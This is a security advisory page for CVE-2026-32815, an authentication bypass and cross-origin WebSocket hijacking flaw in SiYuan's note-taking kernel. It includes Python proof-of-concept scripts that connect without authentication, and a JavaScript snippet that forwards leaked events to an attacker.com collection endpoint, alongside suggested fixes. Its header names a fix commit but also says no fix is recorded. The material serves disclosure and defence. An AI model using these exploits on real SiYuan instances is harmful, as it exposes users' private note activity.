CVE-2026-32815 — kernel
Fix: siyuan-note/siyuan@1e370e3CVE-2026-32815 is a Improper Authentication vulnerability in github.com/siyuan-note/siyuan/kernel. No vendor fix is recorded yet; mitigation options are listed below.
SiYuan: Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32815.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure
Summary
SiYuan's WebSocket endpoint (/ws) allows unauthenticated connections when specific URL parameters are provided (?app=siyuan&id=auth&type=auth). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.
Combined with the absence of Origin header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.
Affected Component
- File:
kernel/server/serve.go:728-731 - Function:
serveWebSocket()→HandleConnecthandler - Endpoint:
GET /ws?app=siyuan&id=auth&type=auth(unauthenticated) - Version: SiYuan <= 3.5.9
Root Cause
The WebSocket HandleConnect handler has a special case bypass (line 730) intended for the authorization page:
util.WebSocketServer.HandleConnect(func(s *melody.Session) {
authOk := true
if "" != model.Conf.AccessAuthCode {
// ... normal session/JWT authentication checks ...
// authOk = false if no valid session
}
if !authOk {
// Bypass: allow connection for auth page keepalive
// 用于授权页保持连接,避免非常驻内存内核自动退出
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
}
if !authOk {
s.CloseWithMsg([]byte(" unauthenticated"))
return
}
util.AddPushChan(s) // Session added to broadcast list
})
Three issues combine:
-
Authentication bypass via URL parameters: Any client connecting with
?app=siyuan&id=auth&type=authbypasses all authentication checks. -
Full broadcast membership: The bypassed session is added to the broadcast list via
util.AddPushChan(s), receiving ALLPushModeBroadcastevents — the same events sent to authenticated clients. -
No Origin validation: The WebSocket endpoint does not check the
Originheader, allowing cross-origin connections from any website.
Proof of Concept
Tested and confirmed on SiYuan v3.5.9 (Docker) with accessAuthCode configured.
1. Direct unauthenticated connection
import asyncio, json, websockets
async def spy():
# Connect WITHOUT any authentication cookie
uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth"
async with websockets.connect(uri) as ws:
print("Connected without authentication!")
while True:
msg = await ws.recv()
data = json.loads(msg)
cmd = data.get("cmd")
d = data.get("data", {})
if cmd == "rename":
print(f"[LEAKED] Document renamed: {d.get('title')}")
elif cmd == "create":
print(f"[LEAKED] Document created: {d.get('path')}")
elif cmd == "renamenotebook":
print(f"[LEAKED] Notebook renamed: {d.get('name')}")
elif cmd == "removeDoc":
print(f"[LEAKED] Document deleted")
elif cmd == "transactions":
for tx in d if isinstance(d, list) else []:
for op in tx.get("doOperations", []):
if op.get("action") == "updateAttrs":
new = op.get("data", {}).get("new", {})
print(f"[LEAKED] Doc attrs: title={new.get('title')}")
asyncio.run(spy())
2. Cross-origin attack from malicious website
<!-- Hosted on https://attacker.com/spy.html -->
<script>
// Victim has SiYuan running on localhost:6806
const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth");
ws.onopen = () => console.log("Connected to victim's SiYuan!");
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
// Exfiltrate document operations to attacker
fetch("https://attacker.com/collect", {
method: "POST",
body: JSON.stringify({
cmd: data.cmd,
data: data.data,
timestamp: Date.now()
})
});
};
</script>
3. Confirmed leaked events
The following events are received by the unauthenticated WebSocket:
| Event | Leaked Data |
|---|---|
savedoc | Document root ID, operation data |
transactions | Document title, ID, attrs (new/old) |
create | Document path, notebook info (name, ID) |
rename | New document title, path, notebook ID |
renamenotebook | New notebook name, notebook ID |
removeDoc | Document deletion event |
4. Cross-origin connection confirmed
import websockets, asyncio
async def test():
uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth"
extra_headers = {"Origin": "https://evil.attacker.com"}
async with websockets.connect(uri, additional_headers=extra_headers) as ws:
print("Cross-origin connection accepted!") # SUCCEEDS
asyncio.run(test())
Result: Connection succeeds — no Origin validation.
Attack Scenario
- Victim runs SiYuan desktop (Electron, listens on
localhost:6806) or Docker instance - Victim has
accessAuthCodeconfigured (server is password-protected) - Victim visits
attacker.comin any browser - Attacker's JavaScript connects to
ws://localhost:6806/ws?app=siyuan&id=spy&type=auth - WebSocket connection bypasses authentication
- Attacker silently monitors ALL document operations in real-time:
- Document titles ("Q4 Financial Results", "Employee Reviews", "Patent Draft")
- Notebook names ("Personal", "Work - Confidential")
- File paths and document IDs
- Create/rename/delete operations
- Attacker builds a profile of the victim's note-taking activity without any visible indication
Impact
- Severity: HIGH (CVSS ~7.5)
- Type: CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)
- Authentication bypass on WebSocket endpoint when
accessAuthCodeis configured - Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance
- Real-time information disclosure of document metadata (titles, paths, operations)
- No user interaction required beyond visiting a malicious website
- Affects both Electron desktop and Docker/server deployments
- Silent — no visible indication to the user
Suggested Fix
1. Remove the URL parameter authentication bypass
// Remove or restrict the auth page bypass
// Before (vulnerable):
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
// After: Use a separate, restricted endpoint for auth page keepalive
// that does NOT receive broadcast events
2. Add Origin header validation
util.WebSocketServer.HandleConnect(func(s *melody.Session) {
// Validate Origin header
origin := s.Request.Header.Get("Origin")
if origin != "" {
allowed := false
for _, o := range []string{"http://localhost", "http://127.0.0.1", "app://"} {
if strings.HasPrefix(origin, o) {
allowed = true
break
}
}
if !allowed {
s.CloseWithMsg([]byte("origin not allowed"))
return
}
}
// ... rest of auth logic
})
3. Separate keepalive from broadcast
If the auth page needs a WebSocket for keepalive, create a separate endpoint (/ws-keepalive) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/siyuan-note/siyuan/kernel has shipped for CVE-2026-32815 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-32815 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-32815. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-32815 in your dependencies?
O3 Security finds CVE-2026-32815 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.